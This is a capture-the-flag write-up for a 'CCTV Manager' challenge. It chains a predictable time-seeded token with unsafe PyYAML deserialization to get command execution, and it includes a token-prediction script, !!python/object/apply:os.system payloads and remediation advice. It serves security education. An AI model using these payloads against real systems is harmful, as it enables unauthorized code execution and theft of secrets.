The Dojo challenge CCTV Manager tasked participants with predicting a pseudo-random token to gain access, then exploiting an authorized YAML deserialization vulnerability to achieve remote code execution (RCE), ultimately allowing the attacker to capture the flag.
💡 Want to create your own monthly Dojo challenge? Send us a message on X!
The winners
Congrats to mayaar, stealthcopter and Pr1nc3ss for the best write-ups 🥳
The swag is on its way! 🎁
Subscribe to our X and/or LinkedIn feeds to be notified of upcoming challenges.
Read on to find out how one of the winners managed to solve the challenge.
TALKIE PWNII #8: VIDEO CHALLENGE WRITE-UP
OVERALL BEST WRITE-UP
We would like to thank everyone who participated and reported their solution for this challenge to the Dojo program. There were many great reports for this challenge and you can find the best write-up below:
CCTV Manager challenge Write-up by Pr1nc3ss
Description
The python application allows the user to upload a custom firmware in YAML text format to update a CCTV camera. The request is only valid if a token is provided alongside the firmware.
The upload mechanism has two vulnerabilities that will be exposed and explained in this report; chaining the vulnerabilities allows us to bypass the security feature in place and execute arbitrary code on the server side.
The most proeminent vulnerability is an OS Command Injection. Such attack can lead to leak sensitive data, perform remote code execution and constitutes a real threat to any system.
Code analysis
Code setup loads a variable into the system environment variables as FLAG, for the sake of the demonstration we will get this value.
1import os2os.chdir('tmp')3os.mkdir('templates')45os.environ["FLAG"] = flag
The python code contains a main() function that handles the whole logic. In pseudocode it acts following these steps :
- Generates a
tokenRoot - Loads the user firmware input as
yamlConfigand the user provided authorization token astokenGuest - Checks if user is authorized by comparing
tokenGuesttotokenRoot, if not the user gets an error - Parses the user provided
yamlConfigvariable and populates thefirmwaredata property - Executes the firmware
update()function
All these steps can be divided into two parts :
AuthorizationExecution
For reading clarity, demonstration out of scope code will be replaced by [...].
Authorization
The code logic is straigthforward.
1def main():2 tokenRoot = genToken(int(time.time()) // 1) # tokenRoot is generated34 [...]5 tokenGuest = unquote("") # tokenGuest is populated with user provided token67 access = bool(tokenGuest == tokenRoot) # comparison is made89 [...]10 if access: # condition check11 [...]12 print( template.render(access=access) )
The generation token method is as follows :
1def genToken(seed:str) -> str:2 random.seed(seed)3 return ''.join(random.choices('abcdef0123456789', k=16))45[...]67genToken(int(time.time()) // 1)
Read alongside the function call, it is obvious that the seed is the time integer. Whereas time.time() returns a float, casting it as an integer removes the decimals. The division by 1 is redundant as it does not change the value.
This means that tokens are predictable, as the seed can be known we can virtually create any token for any time since Epoch and to come.
Execution
As for the authorization, the code logic is pretty straigthforward.
1def main():2 [...]34 yamlConfig = unquote("") # raw user input56 [...]78 firmware = None # function variable910 [...]1112 data = yaml.load(yamlConfig, Loader=yaml.Loader) # yaml parsing13 firmware = Firmware(**data["firmware"]) # firmware property population14 firmware.update()1516 print( template.render(access=access) )
Focus has to be made on the yaml.load() function, as we can see, it uses the default yaml.Loader without any configuration modification.
Without the necessity to dive too deep, the default yaml.Loader, it is instanciated with the default constructor :
1# Constructor is same as UnsafeConstructor. Need to leave this in place in case2# people have extended it directly.3class Constructor(UnsafeConstructor):4 pass56class UnsafeConstructor(FullConstructor):78 def find_python_module(self, name, mark):9 return super(UnsafeConstructor, self).find_python_module(name, mark, unsafe=True)1011 def find_python_name(self, name, mark):12 return super(UnsafeConstructor, self).find_python_name(name, mark, unsafe=True)1314 def make_python_instance(self, suffix, node, args=None, kwds=None, newobj=False):15 return super(UnsafeConstructor, self).make_python_instance(16 suffix, node, args, kwds, newobj, unsafe=True)1718 def set_python_instance_state(self, instance, state):19 return super(UnsafeConstructor, self).set_python_instance_state(20 instance, state, unsafe=True)
In the above snippet, super([...], unsafe=True) calls inside UnsafeConstructor() are of critical importance. Set as is, they explicitly permit resolution of Python modules, names and even instances.
Thus having for direct effect that the use of yaml.load(..., Loader=yaml.Loader) enables arbitrary code execution as the yaml.Loader constructor inherits from UnsafeConstructor. This allows unsafe object deserialization via YAML tags such as !!python/object/apply.
Exploitation
The exploitation has been done in two steps. Following the same logic as the Code analysis, we will see how the authorization can be abused, allowing us to access to the firmware part. Then we will see how the environment variable can be extracted thanks to the loader configuration.
Authorization
The tokenRoot generation is time based. This means that if we manage to generate a token in advance we can use it. As a reminder, the float generated by the time function is converted into an integer : int(time.time()).
This means that that instead of having a full value as 1752785477.7086287 containing second fractions, the code generates 1752785477 which is a full second. As code takes time to run, it is understandable to have a full second instead of a fraction for the code to run as the time needed to process the user input and to compare tokenGuest and tokenRoot can't be done in a fraction.
Whereas, this gives us the ability to generate an upcoming token. To do so, we have used the same function as the one used in the application to generate the tokenRoot with a delay added. This means that we will generate the upcoming token and use it. To avoid wild-guessing how much time ran, a timer has been added to tell us when to press the submit button.
Delay has been set for 7 seconds so we have enough time to copy/paste the upcoming token.
Token generation Code:
1import random2import time34delay = 7 # Adjustable delay56def genToken(seed:str) -> str:7 random.seed(seed)8 return ''.join(random.choices('abcdef0123456789', k=16))910def main():11 tokenRoot = genToken(int(time.time()) + delay // 1)12 print(tokenRoot)13 for i in range(delay - 1):14 print(i+1)15 time.sleep(1)16 print("SUBMIT NOW !!!")1718if __name__ == "__main__":19 main()
Exploitation
For the exploitation, as seen before during our analysis, code seems to be prone to unsafe object deserialization.
A quick reminder on the python code itself. By analyzing it we know that :
- raw data is read and deserialized from the yaml input thanks to
yaml.load() - the
firmwareobject is populated byFirmware(**data["firmware"]) firmware.update()does nothing, so the payload has to be executed before
1class Firmware():2 def __init__(self, version:str):3 self.version = version45 def update(self):6 pass78data = yaml.load(yamlConfig, Loader=yaml.Loader)9firmware = Firmware(**data["firmware"])
So our payload has to be a well-formed YAML as key:value, and direcly reference firmware.
First payload is a non-invasive command as id, here is the poc code :
1firmware: !!python/object/apply:os.system ["id"]
As the user id is displayed, it is confirmed that the code is prone to unsafe object deserialization, furthermore it is prone to OS command injection too.
The objective to prove the vulnerability was to get the content of the environment variable that had been set as follow :
1os.environ["FLAG"] = flag
An OS command to print the variable has been used, here is the poc code :
1firmware: !!python/object/apply:os.system ["echo $FLAG"]
Yet, this only proves that we can read data. A final test has been done to test how safe the system was from this vulnerability. To do so, a modification of the PATH variables has been done, using this poc code for the example :
1firmware: !!python/object/apply:os.system ["export PATH=$PATH:/opt/pr1nc3ss; echo $PATH;"]
As we can see, the system PATH has been well modified.
Risk
Two vulnerabilities have been identified, furthermore, they can be chained leading to a complete system compromise with minimal effort. Here are the risks by criticity order.
OS Command Injection via YAML Deserialization
This vulnerability allows server-side code execution as proven previously. An attacker can execute arbitrary commands on the host system and :
- read sensitive data (files, environment variables)
- modify server behavior (altering
PATH) - deploy malware as a reverse shell or other (to confirm)
This has to be considered critical, especially when it is that trivial to exploit with an untrusted user input.
Predictable authentication token
This vulnerability allows authorization bypass, in this case unauthenticated access to a restricted functionality (ie. firmware upload). An attacker can bypass access control by creating tokens based on time.
This has to be considered as high severity as it is easily automatable as seen with the provided code and that only seconds of prediction offset are needed.
Remediation
Secure token generation
- Avoid predictable seeds as time based auth tokens generation like
int(time.time()) - As the functionality allows firmware upload, a more secure auth model would be switching toward JWEs (JSON Web Encryption) or signed JWTs (if confidentiality is not mandatory) :
- JWT/E are not predictable if signed correctly
- Signing them properly makes them Tamper-proof
- JWE are confidential (claims can not be read)
Restrict shell access
- Web user should not be able to execute system wide commands
- User-controlled input should not be passed into
os.system,subprocessor similar shell execution functions - If need, use controlled subprocess exection with disabled shell expansion
User input validation
- Sanitize user input
- Add input validation via YAML schema validation (such as Cerberus)
- Harden YAML deserialization
- Do not use
yaml.load()withyaml.Loaderoryaml.UnsafeLoaderon untrusted input - Use an alternative as
safe_load()restricts input to standard YAML types (lists, dicts, strings, etc.), blocking Python-specific object tags like!!python/object/apply
- Do not use
Logging and monitoring
- Log failed or malformed YAML uploads
- Monitor for unexpected behaviors (changes to
PATH, access to out of scope files, etc...) - Isolate the firmware upload/update process from the rest of the server if possible



